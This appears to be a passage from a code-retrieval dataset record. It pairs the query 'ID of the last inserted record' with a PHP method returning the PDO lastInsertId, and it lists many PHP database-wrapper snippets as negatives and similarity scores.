Work with the results (as an array of objects)\n $this->rs = $this->stmt->fetchAll();\n \n // Free the statement\n $this->stmt->closeCursor(); \n }", "public function flushQuery()\n\t{\n\t\t$this->cur_query = \"\";\n\t}", "function forceInsert() {\n\t\t\n\t\t\t$this->_isUpdate = false;\n\t\t\t\n\t\t}", "public function execute () {\n $this->query->execute();\n }", "#[@test, @expect('rdbms.SQLStateException')]\n public function noQueryWhenNotConnected() {\n $this->conn->query('select 1');\n }", "function queryExecute($query) {\r\n\t\t\r\n\t\tif (strlen(trim($query)) < 0 ) {\r\n\t\t\ttrigger_error(\"Database encountered empty query string in queryExecute function\",E_ERROR);\r\n\t\t}\r\n\t\tif( !$this->connected ) \r\n\t\t\t$this->connect();\r\n\t\t\r\n\t\tif($this->socket->query($query) === true) {\r\n\t\t\t$this->recordsUpdated = $this->socket->affected_rows;\r\n\t\t}\r\n\t}", "private function setQuery($sql){\n $this->isStatement = false;\n return $this->sqli->query($sql);\n }", "public function clearQueries();", "public function testNoResultQueryWithSingleResultStatement() {\r\n $uuid = 'abcdefg';\r\n $bool = true;\r\n $int = 1234567;\r\n $string = 'avorium';\r\n // Write data to the database\r\n $this->executeQuery('insert into POTEST (UUID, BOOLEAN_VALUE, INT_VALUE, STRING_VALUE) values (\\''.$uuid.'\\','.($bool ? 1:0).','.$int.', \\''.$string.'\\')');\r\n $this->setExpectedException('Exception', 'No result statement returned a result.');\r\n $query = 'select * from POTEST where UUID = \\'abcdefg\\'';\r\n $this->getPersistenceAdapter()->executeNoResultQuery($query);\r\n }", "#[@test]\n public function emptyQuery() {\n $this->createTable();\n $q= $this->db()->query('select * from unittest where 1=0');\n $this->assertInstanceOf('rdbms.ResultSet', $q);\n $this->assertEquals(FALSE, $q->next());\n }", "function perform_query_no_param($query) {\n //If the query is null we throw and exeption\n if ($query == null) {\n throw new Exception(\"Error query null\");\n }\n $stmt = mysqli_prepare($this->database_manager, $query);\n if ($stmt) {\n $stmt->execute();\n $results = $stmt->get_result();\n $stmt->free_result();\n $stmt->close();\n return $results;\n }\n else {\n throw new Exception(mysqli_error($this->database_manager));\n }\n }", "public function rawExecute(array $param = array('query'=>'','arrData'=>[])) {\n $qry = isset($param['query']) ? $param['query'] : '';\n $arrData = isset($param['arrData']) ? $param['arrData'] : [];\n\n if( empty( $qry ) ) {\n echo \"missing query\";\n die;\n }\n \n $insert_values = [];\n\n if( !empty( $qry ) ) {\n $countQuestionMarks = 0;\n\n foreach( $qry AS $char ) {\n if( $char == \"?\" )\n $countQuestionMarks++;\n }\n\n if( count($arrData) == $countQuestionMarks ) {\n echo \"data count doesn't match with column count.\";\n die;\n }\n\n if( count( $arrData ) ) {\n $insert_values = $arrData;\n }\n }\n\n $strQry = $qry;\n $pdo = $this->getConnection();\n $this->stmt = $pdo->prepare($strQry);\n\n if( count( $insert_values ) ) {\n $executed = $this->stmt->execute($insert_values);\n } else {\n $executed = $this->stmt->execute();\n }\n \n if( $executed ) {\n echo 'query executed successfully.';\n } else {\n echo 'fails to truncate table';\n }\n \n $this->stmt = null;\n die;\n }", "public function exec_query($sql = null) {\n\t\t$this->setFoundRows();\n\t\tif($this->debug) {\n\t\t\ttry {\n\t\t\t\t// Execute query\n\t\t\t\t$this->query = (isset($sql) && !empty($sql)) ? $sql : $this->getFullQuery();\n\t\t\t\t$Rs = $this->Connection->Execute($this->query, $this->params);\n\t\t\t\t$Rs->last_query = $this->getSQL($this->query); // full query with parameter\n\t\t\t\t//$this->writeQueryInLog($Rs->last_query, debug_backtrace());\n\n\t\t\t\t// $this->query_debugger($Rs->last_query); // Debug queries\n\t\t\t\t\n\t\t\t\t$this->resetVariables(); // reset all variables\t\t\t\t\n\t\t\t} catch (Exception $e) {\n\t\t\t\t$newex = new Exception($e->getMessage());\n\t\t\t\t//echo 'ex :: '.$this->getSQL($this->getFullQuery());exit;\n\t\t\t\t$this->displayException($newex);\n\t\t\t}\n\t\t} \n\t\telse {\n\t\t\t$this->query = (isset($sql) && !empty($sql)) ? $sql : $this->getFullQuery();\n\t\t\t$Rs = $this->Connection->Execute($this->query, $this->params);\n\t\t\t$Rs->last_query = $this->getSQL($this->query); // full query with parameter\n\t\t\t$this->resetVariables();\t\t\t\n\t\t}\n\t\t\n\t\t$this->query = trim($this->query);\n\t\tif(stripos($this->query, 'INSERT') === 0) {\n\t\t\treturn $this->Connection->getLastInsertedId();\n\t\t} \n\t\telseif(stripos($this->query, 'UPDATE') === 0) {\n\t\t\treturn $Rs;\n\t\t} \n\t\telse {\n\t\t\tif($Rs->RecordCount() == 0)\n\t\t\t\treturn false;\n return $Rs;\n\t\t}\n\t}", "function db_run_query( $statement ) {\n\n $this->pm_clear_dataset();\n $this->pm_store_statement( $statement );\n $this->pm_debug_statement( $statement );\n if( ! $this->query_is_select ) $this->pm_write_logfile( $statement );\n\n $this->dataset_obj = $this->connection->query( $statement );\n $this->pm_die_if_error( 'dataset_obj' );\n\n if( is_object( $this->dataset_obj )) # updates/inserts/deletes seem to return an integer not an object\n $this->rowcount = $this->dataset_obj->numrows();\n else\n $this->rowcount = ROWCOUNT_NOT_SET;\n\n return $this->dataset_obj;\n }", "function query() {\n \n $this->ensure_my_table();\n \n if ($this->options['operator'] == 'in') {\n $keys = array_keys($this->value);\n\n $this->query->add_where(0, $this->table_alias.'.id IN ('. implode(',', $keys).')' );\n }\n\n }", "public function query()\n\t{\n\t\treturn false;\n\t}", "public function executeAllStrict();", "private function sqlstatements() {\n $this->select = array( );\n $this->insert = array( 'INSERT INTO :entity (xxx) VALUES (yyy)' );\n $this->update = array( );\n $this->delete = array( );\n }", "abstract protected function _query($sql);", "public function empty() : DBQueryResult {\n return $this->db->run(\"DELETE FROM `$this->_name`\");\n }", "public function testNoResultQuery() {\r\n $uuid = 'abcdefg';\r\n $bool = true;\r\n $int = 1234567;\r\n $string = 'avorium';\r\n // Store new record with executeNoResultQuery()\r\n $query = 'insert into POTEST (UUID, BOOLEAN_VALUE, INT_VALUE, STRING_VALUE) values (\\''.$uuid.'\\','.($bool ? 1:0).','.$int.', \\''.$string.'\\')';\r\n $this->getPersistenceAdapter()->executeNoResultQuery($query);\r\n // Get record back from database\r\n $result = $this->executeQuery('select * from POTEST where UUID=\\''.$uuid.'\\'');\r\n // Records must be unique\r\n $this->assertEquals($uuid, $result[0]['UUID'], 'Uuid value from persistent object differs from the UUID value of the database.');\r\n $this->assertEquals($bool, (bool)$result[0]['BOOLEAN_VALUE'], 'Boolean value from persistent object differs from the boolean value of the database.');\r\n $this->assertEquals($int, intval($result[0]['INT_VALUE']), 'Integer value from persistent object differs from the int value of the database.');\r\n $this->assertEquals($string, $result[0]['STRING_VALUE'], 'String value from persistent object differs from the string value of the database.');\r\n }", "public function exec_no_query($conn, $sql, $params=null){\n\t\tif (is_array($params) && count($params)>0){\n\t\t\t$stm=$this->query($conn, $sql, $params);\n\t\t}\n\t\telse{\n\t\t\t$conn->exec($sql);\n\t\t}\n\t\treturn TRUE;\n\t}", "#[@test, @expect('rdbms.SQLStateException')]\n public function noQueryWhenDisConnected() {\n $this->conn->connect();\n $this->conn->close();\n $this->conn->query('select 1');\n }", "public function execute() {\n\t\t\t$connection = \\Leap\\Core\\DB\\Connection\\Pool::instance()->get_connection($this->data_source);\n\t\t\tif ($this->before !== NULL) {\n\t\t\t\tcall_user_func_array($this->before, array($connection));\n\t\t\t}\n\t\t\t$connection->execute($this->command());\n\t\t\tif ($this->after !== NULL) {\n\t\t\t\tcall_user_func_array($this->after, array($connection));\n\t\t\t}\n\t\t}", "public function execute($query);", "public function unprepared($query)\n\t{\n\t\treturn $this->run($query, [], function ($me, $query) {\n\t\t\tif ($me->pretending()) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\t$this->recordsHaveBeenModified(\n\t\t\t\t$change = ($this->getPdo()->exec($query) === false ? false : true)\n\t\t\t);\n\t\t\treturn $change;\n\t\t});\n\t}", "public function unprepared($query);", "public function unprepared($query);", "function query() {\n // Do nothing: fake field.\n }", "public function getForUpdateSQL();", "function query() {\r\n\t\t\t$args = func_get_args();\r\n\t\t\t$sql = array_shift($args);\r\n\t\t\tforeach ($args as $key => $value)\r\n\t\t\t\t$args[$key] = $this->clean($value);\r\n\t\t\treturn mysql_query(vsprintf($sql, $args));\r\n\t\t}", "abstract public function exec($query='');", "private function func_execute () {\n $this -> connection = parent::func_query ($this -> query, $this -> query_data);\n }", "public function execute(): Statement;", "abstract public function query($sql);", "public function execute($sql);", "public function execute($sql);", "function fillTable(): void\n{\n $sql = '\n SET autocommit=0; \n SET unique_checks=0;\n SET foreign_key_checks=0;\n INSERT INTO `products` (name, price, color) VALUES ' . generateTableData(1000001) . ';\n SET unique_checks=1;\n SET foreign_key_checks=1;\n COMMIT;\n ';\n\n DB::getInstance()->query($sql);\n}", "protected function execute_single_query() {\n\t\t//ejecución de un single command\n\t\t$this->crear_conexion();\n\t\t//cambiar el charset\n\t\t$this->set_charset();\n\t\t\n\t\t//$this->conn->query($this->query);\n\t\tif (!$this->conn->query($this->query)) {\n\t\t\tdie($this->conn->error . $this->query);\n\t\t\t$this->mensaje_db = $this->conn->error . $this->query;\n\t\t\treturn FALSE;\n\t\t}\n\t\t//return $conn->insert_id;\t\t\n\t\t$this->cerrar_conexion();\n\t\treturn TRUE;\n\t}", "abstract protected function query_and_clear_cache($sql);", "private function resetQuery()\n {\n $this->cols('*');\n }", "public function Clear() {\n\t\t$this->sql = \"SELECT 1, 2, 3, 4, 5, 6, 7\";\n }", "abstract public function execute($query);", "function executeQuery($query);", "public function preExecute(SelectInterface $query = NULL);", "public function resetQuery(): void\n\t{\n\t\t$this->state = new State();\n\t\t$this->explain = FALSE;\n\t}", "public function query($sql = null);", "function exec_query_0($sql_query,$flag) {\n\t\t\t$arrAllData = array();\n\t\t\t$result = mysqli_query($this->conexion_0, $sql_query) or die (json_encode(array(\"success\" => \"false\", \"m\" => \"record not inserted. \" . $sql_query)));\n\t\t\t\n\t\t\tswitch($flag) {\n\t\t\t\tcase 'INS':\n\t\t\t\t\tif($result) { return mysqli_insert_id($this->conexion_0); }\n\t\t\t\tbreak;\n\t\t\t\tcase 'SEL':\n\t\t\t\t\t$arrData = mysqli_fetch_array($result, MYSQLI_ASSOC);\n\t\t\t\t\treturn $arrData;\n\t\t\t\tbreak;\n\t\t\t\tcase 'ALL' :\n\t\t\t\t\t while($row = mysqli_fetch_array($result, MYSQLI_ASSOC) ) {\n\t\t\t\t\t\t\t$arrAllData[] = $row;\n\t\t\t\t\t }\n\t\t\t\t\t return $arrAllData;\n\t\t\t\tbreak;\n\t\t\t\tcase 'DEL':\n\t\t\t\t\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}", "public function unsafeQuery($sql)\n {\n return $this->conn->query($sql);\n }", "public function __invoke()\n {\n $this->execute();\n }", "function insert($sql){\n\n\t\tglobal $way;\n\t\t$way -> query($sql);\n\n\t}", "public function query($query = \"NONEE\"){\n\t\t\n\t\tif($update = $query === \"NONEE\")\n\t\t\t$query = $this->query; \t\t\t\t\t\n\t\t\n\t\t$this->query_total++;\n\t\t\n\t\t$query_check = trim($query);\n\t\t\n\t\tif($this->debug){\n\t\t\techo \"<br/><strong style=\\\"color:#E4C100\\\">&lt;DEBUG&gt;</strong><br/>\";\n\t\t\techo $this->comment != \"\" ? \"<span style=\\\"color:#D3C26E;font-style:italic\\\">#\".$this->comment.\"</span><br/>\" : \"\";\n\t\t\techo \"<span style=\\\"color:#E4C100\\\">\".$query.\"</span><br/><strong style=\\\"color:#E4C100\\\">&lt;/DEBUG&gt;</strong><br/>\";\n\t\t}\n\t\t\n\t\t$resultset = $this->showErrors ? mysqli_query($this->connection,$query) : @mysqli_query($this->connection,$query);\n\t\t\n\t\t$proceed_log = $this->log && ( \n\t\t(stripos($query_check,\"INSERT\") === 0 && $this->log_options{0} === '1')\n\t\t||\n\t\t(stripos($query_check,\"DELETE\") === 0 && $this->log_options{1} === '1')\n\t\t||\n\t\t(stripos($query_check,\"UPDATE\") === 0 && $this->log_options{2} === '1')\n\t\t||\n\t\t(stripos($query_check,\"SELECT\") === 0 && $this->log_options{3} === '1'));\n\t\t\n\t\tif(stripos($query_check,\"INSERT\") === 0 || stripos($query_check,\"DELETE\") === 0 || stripos($query_check,\"UPDATE\") === 0)\n\t\t\tif(!$resultset)\n\t\t\t\t$this->transaction = false;\n\t\t\n\t\tif($proceed_log){\n\t\t\t$log_fields = \"query,date,user\";\n\t\t\t$log_values=\"'\".$this->secure($query).\"',NOW(),\".$this->log_user;\n\t\t}\n\t\t\n\t\tif(!$resultset){\n\t\t\tif($this->showErrors){ \n\t\t\t\techo \"<br/><strong style=\\\"color:red\\\">&lt;QERROR&gt;</strong><br/>\";\n\t\t\t\techo $this->comment != \"\" ? \"<span style=\\\"color:#E88888;font-style:italic\\\">#\".$this->comment.\"</span><br/>\" : $this->comment.\"nada\";\n\t\t\t\techo \"<span style=\\\"color:red\\\">\".mysqli_error($this->connection).\" at \".$query_check.\"</span><br/><strong style=\\\"color:red\\\">&lt;/QERROR&gt;</strong><br/>\";\n\t\t\t}\n\t\t\tif($proceed_log){\n\t\t\t\t$log_fields .= \",error\";\n\t\t\t\t$log_values .= \",'\".mysqli_error($this->connection).\"'\";\t\n\t\t\t}\n\t\t}\n\t\t\n\t\tif($proceed_log){\t\t\t\n\t\t\t@mysqli_query($this->connection,\"INSERT INTO \".$this->log_table.\"($log_fields) VALUES($log_values)\");\n\t\t}\n\t\t\n\t\tif(!$resultset && $this->closeOnError) \n\t\t\texit;\n\t\t\n\t\tif($update)\n\t\t\t$this->resultset = $resultset;\n\t\t\n\t\treturn $resultset; \n\t}", "public function query($sql) {\n $this->statement = $this->dbHandler->prepare($sql);\n }", "function execute()\n {\n $this->OldModel = $this->getOldModelToUse();\n $this->OldModel->cacheQueries = false;\n $this->OldModel->cacheSQL = false;\n $this->NewModel = $this->getNewModelToUse();\n $this->NewModel->cacheQueries = false;\n $this->NewModel->cacheSQL = false;\n \n $tableMap = $this->getTableMap();\n debug($tableMap);\n if (!$tableMap)\n {\n $this->print_instructions();\n exit();\n }\n\n foreach ($tableMap as $table => $data)\n {\n if (!$this->specialProcessing($table, $data))\n {\n $this->import($table, $data);\n }\n }\n }", "abstract protected function doQuery( $sql );", "function eeps_MySQL_doQueryWithoutResult($db, $query, $params)\n{\n $out = null;\n\n try {\n $sth = $db->prepare($query); // $sth = statement handle\n $out = $sth->execute($params);\n } catch (PDOException $e) {\n error_log(\"--- eeps MySQL preparation or execution error \" . $e->getMessage());\n die();\n }\n return $out; // exit status of command\n}", "abstract public function exec($sql);", "abstract public function execute($sql);", "private function isInsertQuery()\n\t{\n\t\treturn $this->insert_table != null;\n\t}", "public function unprepared($query)\n {\n return $this->run($query, [], function ($query) {\n if ($this->pretending()) {\n return true;\n }\n\n return (bool) $this->db->execute($query);\n });\n }", "public function executeNone(string $query): int\n {\n $this->realQuery($query);\n\n $n = $this->mysqli->affected_rows;\n\n if ($this->mysqli->more_results()) $this->mysqli->next_result();\n\n return $n;\n }", "public function set_simple_query($query) {\n $this->query = \"\";\n $this->query = $query;\n //print $this->query;\n $this->execute_single_query();\n if(empty($this->err)):\n $this->err = 6;\n $this->msj = \"La transaccion se registro correctamente. \";\n endif; \n \n }", "public function executeStatement()\n {\n \n }", "public function testRunASqlQuery2(){\r\n $sql = \"Select * from 123;\";//No table named 123\r\n $db = new database;\r\n $db->connectToDatabase();\r\n $success = $db->runASqlQuery($sql);\r\n $this->assertEquals(false,$success);\r\n }", "protected abstract function executeQuery($query);", "public function query($sql);", "public function query($sql);", "public function query($sql);", "public function query($sql);", "abstract public function query();", "function clearQuery($inparms){\n unset($this->_query);\n $this->_query = new booleanQuery();\n $this->selectedNode = -1;\n $this->selectedOperator = -1;\n\n return $this->output(NULL);\n }", "function insert_query($table_name, $data = null, $unescaped_data = null) {\r\n\t\t$fields = array();\r\n\t\t$values = array();\r\n\r\n\t\tif (isset($data)) {\r\n\t\t\tforeach($data as $field => $value) {\r\n\t\t\t\t$fields[$field] = \"`\".$field.\"`\";\r\n\t\t\t\t$values[$field] = \"'\".$this->escape($value).\"'\";\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif (isset($unescaped_data)) {\r\n\t\t\tforeach($unescaped_data as $field => $value) {\r\n\t\t\t\t$fields[$field] = \"`\".$field.\"`\";\r\n\t\t\t\t$values[$field] = $value;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif (!count($values)) {\r\n\t\t\ttrigger_error(\"No data in update_query\", E_USER_WARNING);\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\t$sql = \"INSERT INTO `$table_name` (\".implode(', ', $fields).\") VALUES (\".implode(', ', $values).\")\";\r\n\r\n\t\treturn $this->query($sql);\r\n\r\n\t}", "public abstract function execute($sql);", "function runQuery()\r\n\t\t{\r\n\t\tif(!$this->conn)\r\n\t\t\t{\r\n\t\t\t$this->createConnect();\r\n\t\t\t}\r\n\t\tif($this->query)\r\n\t\t\t{\r\n\t\t\t$this->errors=\"\";\r\n\t\t\t$this->query.=\";\";\r\n\t\t\t$this->result = mysql_query($this->query);\r\n\t\t\tif(mysql_affected_rows()>=0)\r\n\t\t\t\t{\r\n\t\t\t\tunset($this->query);\r\n\t\t\t\t}\r\n\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\techo \"<br>Error:<br>\";\r\n\t\t\t\t$debugging=debug_backtrace();\r\n\t\t\t\tforeach ($debugging as $debug)\r\n\t\t\t\t\t{\r\n\t\t\t\t\techo \"<b>File :</b> \".$debug[\"file\"].\"<br />\";\r\n\t\t\t\t\techo \"<b>Line :</b> \".$debug[\"line\"].\"<br />\";\r\n\t\t\t\t\techo \"<b>Function :</b> \".$debug[\"function\"].\"<br />\";\r\n\t\t\t\t\techo \"<b>Cause :</b> \".mysql_error().\"<br />\";\r\n\t\t\t\t\t}\r\n\t\t\t\techo \"<b>Query :</b> \".$this->query.\"<hr>\";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\telse\r\n\t\t\t{\r\n\t\t\techo \"<br>-- NULL Query --\";\r\n\t\t\t}\r\n\t\tif (!is_resource($this->result))\r\n\t\t\t{\r\n\t\t\t$this->errors=mysql_error();\r\n\t\t\tif($this->transaction)\r\n\t\t\t\t{\r\n\t\t\t\t\t$this->transaction=FALSE;\r\n\t\t\t\t\t$this->query=\"ROLLBACK TRANSACTION\";\r\n\t\t\t\t\t$this->runQuery();\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}", "function databaseSubmitQueryOnly ( $_sql_statement,$_bind_parameters,$_option = '' ) {\n\t\t$_query_request = $this->gframeDatabase->submit_database_query( $_sql_statement,$_bind_parameters );\n\t\n\t\tif($_query_request['result'] === FALSE) {\n\t\t\t// something wrong with the query submission (execution)\n\t\t\treturn $this->gframeDatabase->returnAjaxResponseArray(false,'Failed @ databaseSubmitQueryOnly',$_query_request);\n\t\t} else {\n\t\t\t// fetch results\n\t\t\tif($_option === 'returnInsertID') {\n\t\t\t\t$_query_result = $this->gframeDatabase->statement->insert_id;\n\t\t\t} else {\n\t\t\t\t$_query_result = $this->gframeDatabase->fetch_query_results();\n\t\t\t}\n\t\n\t\t\t$this->gframeDatabase->statement->close();\n\t\n\t\t\treturn array (\n\t\t\t\t'response'=> true,\n\t\t\t\t'message'=>(is_null($_query_result)) ? 'No record' : 'Success',\n\t\t\t\t'result'=>$_query_result\n\t\t\t);\n\t\t}\n\t}", "function exec_query($sql_query,$flag) {\n\t\t\t$arrAllData = array();\n\t\t\t$result = mysqli_query($this->conexion, $sql_query) or die (json_encode(array(\"success\" => \"false\", \"m\" => \"record not inserted. \" . $sql_query)));\n\t\t\t\n\t\t\tswitch($flag) {\n\t\t\t\tcase 'INS':\n\t\t\t\t\tif($result) { return mysqli_insert_id($this->conexion); }\n\t\t\t\tbreak;\n\t\t\t\tcase 'SEL':\n\t\t\t\t\t$arrData = mysqli_fetch_array($result, MYSQLI_ASSOC);\n\t\t\t\t\treturn $arrData;\n\t\t\t\tbreak;\n\t\t\t\tcase 'ALL' :\n\t\t\t\t\t while($row = mysqli_fetch_array($result, MYSQLI_ASSOC) ) {\n\t\t\t\t\t\t\t$arrAllData[] = $row;\n\t\t\t\t\t }\n\t\t\t\t\t return $arrAllData;\n\t\t\t\tbreak;\n\t\t\t\tcase 'DEL':\n\t\t\t\t\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}", "public static function flushQueryLog()\n {\n }", "public function query() {\n if (!empty($this->value)) {\n parent::query();\n }\n }", "public function clear()\n {\n $this->sql = '';\n $this->columns = array();\n $this->values = array();\n }", "private function runQuery () {\n\n // Prepare the constructed SQL statement\n if ($this->_query = $this->_pdo->prepare($this->_sql)) {\n\n // Set a counter to one to use when binding\n $x = 1;\n \n // Loop through the binding array\n foreach($this->_bindArray as $param) {\n \n // Run the bindValue function to match the correct value to the correct placing\n $this->_query->bindValue($x, $param);\n\n // Increment the counter\n $x++;\n \n }\n \n // Run the execute function\n $this->execute();\n }\n }", "abstract function executeQuery($cons);", "function exec($sql);", "private function transfer_data()\n\t{\n\t\t$num_rows = db::select_one(\"select count(*) from {$this->table}\");\n\t\t\n\t\tfor ($i = 0; $i < $num_rows; $i += BATCH_SIZE)\n\t\t{\n\t\t\techo \"$i / $num_rows (select {$this->before_alter_select_query} from {$this->table})\\n\";\n\t\t\t$r = mysql_query(\"select {$this->before_alter_select_query} from {$this->table} limit $i, \".BATCH_SIZE);\n\t\t\twhile ($d = mysql_fetch_assoc($r))\n\t\t\t{\n\t\t\t\tif ($this->renamed_cols)\n\t\t\t\t{\n\t\t\t\t\tforeach ($this->renamed_cols as $before_key => $after_key)\n\t\t\t\t\t{\n\t\t\t\t\t\t$d[$after_key] = $d[$before_key];\n\t\t\t\t\t\tunset($d[$before_key]);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tdb::insert($this->temp_table, $d);\n\t\t\t}\n\t\t}\n\t}", "public function clearQueries(): void\n {\n $this->queries = [];\n }" ]
[ "0.6657476", "0.62336713", "0.6122202", "0.61133736", "0.607561", "0.5986299", "0.5947434", "0.59249", "0.59193814", "0.5880844", "0.5832765", "0.58110535", "0.57963216", "0.5791372", "0.573879", "0.5737328", "0.57371384", "0.5728203", "0.5722573", "0.570686", "0.56825733", "0.5680154", "0.5639537", "0.5628251", "0.562125", "0.5618046", "0.5578231", "0.5577348", "0.5566555", "0.55655175", "0.55545634", "0.5552608", "0.55476946", "0.55435514", "0.5538686", "0.5530062", "0.5501267", "0.5494394", "0.5490817", "0.54859847", "0.54769164", "0.54759693", "0.54733264", "0.5471041", "0.5471041", "0.54499966", "0.5448944", "0.5448938", "0.54460835", "0.54457504", "0.5440493", "0.5433744", "0.5430279", "0.5430279", "0.5428677", "0.542588", "0.5409806", "0.5409357", "0.54054433", "0.5403061", "0.5401908", "0.5395385", "0.53857434", "0.5385431", "0.5384056", "0.53791636", "0.5362848", "0.53620875", "0.535374", "0.53446805", "0.5340267", "0.53375643", "0.5332954", "0.5331591", "0.5323574", "0.5320714", "0.53138584", "0.5313677", "0.53124887", "0.5311349", "0.5300518", "0.5297505", "0.5296614", "0.5296614", "0.5296614", "0.5296614", "0.5295225", "0.52918315", "0.5289174", "0.52888256", "0.52811486", "0.527974", "0.52763474", "0.527062", "0.5266456", "0.52647954", "0.52645594", "0.5260598", "0.5257068", "0.52569157", "0.52510166" ]
0.0
-1
ID of the last inserted record
public function getLastInsertId() { $this->setActive(true); return self::$_pdo->lastInsertId(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getLastInsertID();", "public function getLastID() {\n return $this->db->insert_id();\n }", "public function getLastId(){\n return $this->con->insertId();\n }", "public function lastInsertId();", "public function lastInsertId();", "public function lastInsertId();", "public function last_id() {\n return $this->_connection->lastInsertId();\n }", "public function lastID() {\n return $this->getPDO()->lastInsertId();\n }", "public function lastID(){\n return $this->_lastInsertID;\n }", "protected function getLastID()\n {\n return $this->driver->getInsertId();\n }", "public function getLastInsertId();", "public function getLastInsertId();", "public function getLastInsertId();", "public function id() {\n return $this->lastInsertId();\n }", "public function getLastId()\n {\n return $this->adodb->insert_Id();\n }", "public function lastId()\n\t{\n\t\treturn $this->_instance->lastInsertId();\n\t}", "public function getLastInsertedID(){\n // Return last created id\n return $this->connection->insert_id();\n }", "public static function lastId()\n {\n return self::connect()->lastInsertId();\n }", "public function lastId()\n\t{\n\t\treturn $this->lastInsertID();\n\t}", "abstract public function getLastInsertId();", "function get_last_inserted_id() {\n return $this->db->insert_id();\n }", "function lastInsertId() {\n\t\treturn sqlite_last_insert_rowid($this->connection);\n\t}", "public function getLastInsertId(){\n return $this->lastInsertId;\n }", "function lastId() {\n return mysqli_insert_id($this->con);\n }", "function getLastInsertID(){\r\n\t\t\r\n\t\treturn $this->connection->insert_id;\r\n\t}", "public function get_last_inserted_id(){\n\t\treturn $this->db->insert_id();\n\t}", "public function lastInsertId(){\n return $this->pdo->lastInsertId();\n }", "function getLastId()\n {\n return mysqli_insert_id($this->Db);\n }", "public function lastInsertId () {\r\n return $this->cachedLastInsertId; // $this->db->lastInsertId();\r\n }", "public function lastId()\n {\n return $this->mysqli->insert_id;\n }", "public function lastInsertId(){\n return $this->conn->lastInsertId();\n }", "public function getLastId() {\n return $this->LastInsertId;\n }", "public function lastInsert(){\n\t\treturn $this->dbh->lastInsertId();\n\t}", "function lastId() {\r\n return mysql_insert_id();\r\n }", "public function lastInsertId(){\n return $this->link->lastInsertId();\n }", "public function getLastInsertId(){\n\t\treturn $this->connection->insert_id;\n\t}", "public function getLastInsertId()\r\n {\r\n return $this->getMaster()->lastInsertId();\r\n }", "function lastInsertId() {\n return $this->pdo->lastInsertId();\n }", "public function lastId();", "public function lastId()\n\t{\n\t\treturn mysqli_insert_id($this->connection);\n\t}", "public function getLastInsertId()\n {\n return $this->getPdo()->lastInsertId();\n }", "public function get_last_insert_id(){\n\t\treturn $this->db->insert_id();\n\t}", "function insertid() {\n return $this->last_insert_id;\n }", "public function last_insert_id() {\n\t\treturn $this->adapter->lastInsertId();\n\t}", "public function lastId () {\n\treturn mysql_insert_id();\n }", "public static function getId() {\n\t\treturn self::getConexao()->lastInsertId();\n\t}", "function lastInsertId()\n\t{\n\t\treturn @$this->functions['insert_id']($this->connection_master);\n\t}", "public function getLastInsertId(): int;", "public function lastInsertId()\n {\n return $this->_adapter->lastInsertId();\n }", "public function LastInsertId() {\n\t\t\t\treturn $this->connection->lastInsertId();\n\t\t\t}", "function get_last_inserted() {\n return $this->db->insert_id();\n }", "public function lastInsertedId() {\n return $this->_dbh->lastInsertId();\n\n }", "function lastId()\n {\n return mysql_insert_id();\n }", "public function lastInsertId() {\n return $this->connection->lastInsertId();\n }", "public function getLastInsertID()\n {\n\t return $this->connections[ $this->activeConnection]->insert_id;\n }", "public function getLastInsertID()\n {\n return $this->_lastInsertID;\n }", "public function lastInsertId()\n\t{\n\t\treturn $this->connection->lastInsertId();\n\t}", "function get_last_id() {\n if ($this->is_valid())\n return @mysql_insert_id($this->connection);\n }", "function lastID()\r\n\t{\r\n\t\tassert($this->link != null);\r\n\t\treturn intval($this->link->lastInsertId());\r\n\t}", "public static function getLastInsertId()\n {\n return self::$sql->lastInsertId();\n }", "public function getLastInsertId()\n {\n return $this->lastInsertId;\n }", "function lastID(){\n return pg_last_oid($this->consulta);\n }", "public function getLastInsertedId()\r\n\t{\r\n\t\treturn $this->db->getLastInsertedId();\r\n\t}", "function lastInsertId() \r\n\t{\r\n\t\t \r\n\t\treturn $this->socket->insert_id;\r\n\t\t \r\n\t}", "function last_inserted_id() {\n return mysql_insert_id($this->db_conn);\n }", "public function lastInsertID() {\n return $this->_pdo->lastInsertId();\n }", "public function insertGetId()\n {\n return $this->lastId;\n }", "public function insertGetId()\n {\n return $this->lastId;\n }", "public function getLastInsertId()\t{\n\t\treturn $this->_hDb->lastInsertId();\n\t}", "function getLastinsertId (){\n return $this->pdo->lastInsertId();\n }", "function getLastid(){\n $this->lastid = mysqli_insert_id($this->dcon);\n return $this->lastid;\n }", "public function lastID(): int;", "public function getLastInsertedId() {\n\t\treturn $this->lastInsertedID;\n\t}", "public function lastInsertedId(): mixed;", "function getLastInsertID() {\n return mysql_insert_id($this->CONNECTION);\n }", "public function lastInsertId()\n {\n return sqlite_last_insert_rowid($this->connection);\n }", "public function insertId() {\n\t\treturn $this->_dbh->lastInsertId();\n\t}", "public function lastInsertId() {\n return $this->pdo->lastInsertId();\n }", "public function lastInsertId() {\n return $this->pdo->lastInsertId();\n }", "public function last_insert_id ()\n\t{\n\t\treturn $this->db->lastInsertId();\n\t}", "public function get_last_insert_id()\n\t\t{\n\t\t\treturn( $this->last_insert_id );\n\t\t}", "public function lastInsertId()\n {\n return @db2_last_lastInsertId($this->connection);\n }", "public function lastInsertId()\n {\n return $this->pdo->lastInsertId();\n }", "public function lastInsertId()\n {\n return $this->pdo->lastInsertId();\n }", "public function lastInsertId()\n {\n return $this->pdo->lastInsertId();\n }", "public function lastInsertId()\n {\n return $this->pdo->lastInsertId();\n }", "public function lastInsertId()\n {\n return $this->pdo->lastInsertId();\n }", "public function lastInsertId()\n {\n return $this->pdo->lastInsertId();\n }", "public function last_insert()\n {\n return mysqli_insert_id($this->db);\n }", "public function getLastInsertId()\n {\n return $this->PDO->lastInsertId();\n }", "public function insert_id()\n\t{\n\t\treturn $this->lastInsertId();\n\t}", "function get_insert_id() {\n\t\t\treturn self::$db->last_inserted_id();\n\t\t}", "public function lastInsertID()\n\t{\n\t\treturn $this->_conn->insert_id;\n\t}", "public function insertId () {\n\n return $this->_lastInsertId;\n }", "public 